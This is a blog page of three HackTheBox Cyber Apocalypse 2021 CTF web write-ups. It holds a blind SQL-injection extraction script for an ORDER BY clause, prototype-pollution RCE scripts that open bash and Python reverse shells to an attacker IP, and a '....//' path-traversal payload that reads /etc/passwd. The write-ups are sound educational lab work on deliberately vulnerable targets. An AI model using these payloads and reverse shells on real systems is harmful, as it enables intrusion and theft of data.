HTB Cyber Apocalypse – Emoji Voting Writeup

Emoji Voting was a 2-star rated ‘Web’ machine. The server was vulnerable to SQL injection, which allowed for the flag to be discovered. This was a fairly laborious process, as the SQL injection was after an ‘ORDER BY’ statement, which increased the complexity of exploiting it.

Pwning Emoji Voting

The website itself appears to be a simple voting system, with buttons to vote for various emoji’s. As with most of the HackTheBox machines, there was a file containing the files for the server. These files reveal that the flag is going to reside within a table beginning with ‘flag_

SQL statements to create the table to hold the flag file
SQL statements to create the table to hold the flag file

Reading the database.js file, it revealed 2 database functions which could be exploited, namely vote() and getEmojis(). After some initial testing, it was clear that the getEmojis function was the vulnerable endpoint.

The two database functions within database.js
The two database functions within database.js

Intercepting the traffic with Burp reveals that a request is made to the /api/list endpoint every 5 seconds (To update the current voting statistics). This endpoint then calls the getEmojis function, which takes the body of the request and uses it in the ORDER BY statement above.

Typically, exploiting a vulnerability like this would be fairly easy with a UNION command, or a sub-query. The following quote explains why this particular type of SQL injection is tricky to exploit:

Exploiting SQL injection in an ORDER BY clause is significantly different from most other cases. A database will not accept a UNION, WHERE, OR, or AND keyword at this point in the query. Exploitation requires the attacker to specify a nested query in place of the ORDER BY parameter.

https://portswigger.net/support/sql-injection-in-the-query-structure

Crafting an nested SQL statement

To exploit this, we can run a nested query after the ORDER BY clause. This allows us to compare one letter at a time, and slowly discover values within the database. This is exceptionally slow, but it is a viable method! Sending the following text to the /api/list endpoint: {"order":"(CASE WHEN 1==2 THEN id ELSE count END) DESC"}. This returned the emoji values ordered by the count value, showing we had successfully injected code into the SQL statement. The SQL engine had determined that 1==2 was false, and so it evaluated to count DESC, returning the data ordered by the count value descending.

Successfully injecting into the SQL statement
Successfully injecting into the SQL statement

Following a lot of troubleshooting, an SQL statement can be written to find the full name of the ‘flag table’. As the ‘flag table’ uses a randomised name, we need to query the sqlite_master table to determine its name. By using the process above, we know that a value is true if it returns data ordered by the id column, if it is false then it will be ordered by the count column. This query is as follows:

{"order":"(CASE WHEN (SELECT SUBSTR(name,1,1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag_%')=CHAR(1) THEN id ELSE count END) DESC"}

Using Python, we can rapidly query the API, and easily determine if we have found the correct letter for a given position. We do this by incrementing the value of the SUBSTR method and the CHAR value to cover the entire word. After doing this, we end up with the following script.

import requests,time

URL = "http://188.166.145.178:32715/api/list"

def make_request(position, value):
    request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(name,{position},1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag%')=CHAR({value}) THEN id ELSE count END) DESC"}

    resp = requests.post(URL, json=request_data)
    response_json_data = resp.json()

    if response_json_data[1]['id'] == 11:
        return True
    else:
        return False

for position in range(6,17):
    #For each position, try and determine the letter

    for hex_value in range(255):
        response = make_request(position, hex_value)

        if response:
            print(f"Char Position {position} = {hex_value} ({chr(hex_value)})")
            break

Finding the flag table and Emoji Voting flag

After running this for a few minutes, we figure out the full name of the flag table, as being flag_e42009d78f, as shown below.

Discovering the name of the table containing the flag
Discovering the name of the table containing the flag

Now we know the name of the table, we can modify the request_data f-string value to query the flag column within the flag_e42009d78f table. This then changes to the following value:

request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(flag,{position},1) FROM flag_e42009d78f)=CHAR({value}) THEN id ELSE count END) DESC"}

Running the Python script again, we figure out the final flag value is CHTB{order_me_this_juicy_info}. Overall, I really enjoyed playing through Emoji Voting. I felt I was quite good at SQL injection exploits, but this machine taught me a lot of new techniques! If you enjoyed this writeup, I have written up several other boxes at this link.

Discovering the full flag for Emoji Voting
Discovering the full flag for Emoji Voting

HTB Cyber Apocalypse CTF 2021 – BlitzProp Writeup

BlitzProp is a 1* rated challenge from the web category of the HTB CTF. To exploit this, you need to use a ‘prototype pollution’ vulnerability in order to gain RCE against the target. This was the first time I had exploited a target using a vulnerability such as this, so I learned a lot from this challenge!

To start off, a downloadable zip file is provided, containing the contents of the BlitzProp server and the related Docker infrastructure. The file which caught my interest initially was the routes/index.js file, which we can see below:

The routes/index.js file from the challenge
The routes/index.js file from the challenge

At a first glance, it looks like a pretty standard API based site, with the use of a number of node libraries. The song names seemed a little odd, though it is a cyber-space themed CTF, so I didn’t think too much into it initially. Looking at the package.json file revealed the versions of the packages in use by node.

package.json showing details on vulnerable packages
package.json showing details on vulnerable packages

A good site I have found to lookup vulnerable packages is snyk.io. Looking up the packages above, we find a couple of vulnerabilities which look interesting:

PackageVulnerability
Express 4.17.1None
Flat 5.0.0Prototype Pollution
Pug 3.0.0Remote Code Execution
Vulnerabilities found from packages.json

The song names made me realise I was on the correct track – ‘Not polluting with the boys’ and ‘ASTa la vista baby’ both relate to prototype pollution! To try and exploit this, I attempted to modify the PoC included with the Flat 5.0.0 vulnerability. I modified the API call we were making from the website to attempt to pollute an object. The API call I went with was {"song.name":{'__proto__.includes': {return res.json({'test':'123'})}}}. This request then resulted in a JSON parsing error, indicating I was along the right lines.

After a lot of googling and searching for approchable tutorials on how to exploit this, I found a great blog at https://blog.p6.is/AST-Injection. One of the examples from this site includes an exploit for pug and so we now had a better PoC which should allow us to get an RCE with some modification. The target in this case is 178.x.x.x and our ‘attacker’ is on 52.x.x.x.

import requests

TARGET_URL = 'http://178.62.93.166:31190'

# make pollution
requests.post(TARGET_URL + '/api/submit', json = {
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/52.174.63.32/80 0>&1'`)"
    }
})

# execute
resp = requests.post(TARGET_URL + '/api/submit', json = { 
    "song.name" : "Not Polluting with the boys"
})

print(resp.text)

One of the interesting things about this attack, is that we have to submit two queries, one to pollute the prototype, and another to trigger the RCE. Executing this PoC proved that we were getting very close to a working exploit, as it returned a bash error, as shown below. This error was due to the target using /bin/ash, rather than /bin/bash.

Not wanting to get into a drawn-out battle with the various Linux shells, I decided to keep things simple and use a basic Python reverse shell which I have used a number of times during OSCP. By replacing the bash reverse shell used above with this, we end up with the updated exploit below.

import requests

TARGET_URL = 'http://178.62.93.166:31190'

# make pollution
requests.post(TARGET_URL + '/api/submit', json = {
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"52.174.63.32\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/ash\",\"-i\"]);'`)"
    }
})

# execute
resp = requests.post(TARGET_URL + '/api/submit', json = { 
    "song.name" : "Not Polluting with the boys"
})

print(resp.text)

We now can execute this exploit, and get a reverse shell back on our attacker VM. From this we can easily find the flag (flagsF9iN) within the current directory. Revealing a flag of CHTB{p0llute_with_styl3}.

Overall, I really enjoyed BlitzProp and learned some new techniques! If you enjoyed this writeup, I have written up several other boxes at this link.

HTB CTF 2021 – MiniSTRyplace Writeup

MiniSTRyplace was a 1-star rated ‘Web’ challenge from the HackTheBox Cyber Apocalypse CTF. The solution was pretty simple, with a vulnerable str_replace function allowing for a simple path traversal exploit.

Initially, the files for the server were supplied as part of the challenge. From a quick initial search, the index.php file stood out as being interesting due to its logic for including various PHP files within the main webpage of the site.

The vulnerable function

Looking at the code, the server will include a file from within the pages/ directory, based on the lang parameter when passed as a GET request. Typically this would be via a request such as vulnerable_site.com/index.php?lang=en.php or similar. The function will then replace any occurrences of ../ with a blank string. From a brief glance, this appears to be alright, but if an attacker uses a a string such as ....//, PHP will remove the central ../ (i.e. ....// ), leaving a final string of ../, allowing for path traversal.

We can test this exploit by using a URL such as: vulnerable_site.com/?lang=qw.php….//….//….//….//….//….//etc/passwd, which returns the contents of the passwd file as shown below.

Contents of the passwd file returned by the server, indicating we have LFI capabilities
Contents of the passwd file returned by the server, indicating we have LFI capabilities

Looking at the Dockerfile, we know that the flag is copied to the root directory, so we can simply traverse up to the root folder, and then load the flag file. As shown below, this reveals a flag of CHTB{b4d_4li3n_pr0gr4m1ng} for MiniSTRyplace!

To learn more about this, HackTheBox have a really good Academy article which covers a range of methods for identifying and exploiting LFI vulnerabilities. These commonly come up in CTFs and OSCP boxes, so it is a good skill to get comfortable with!

If you enjoyed this writeup, I have written up several other boxes at this link.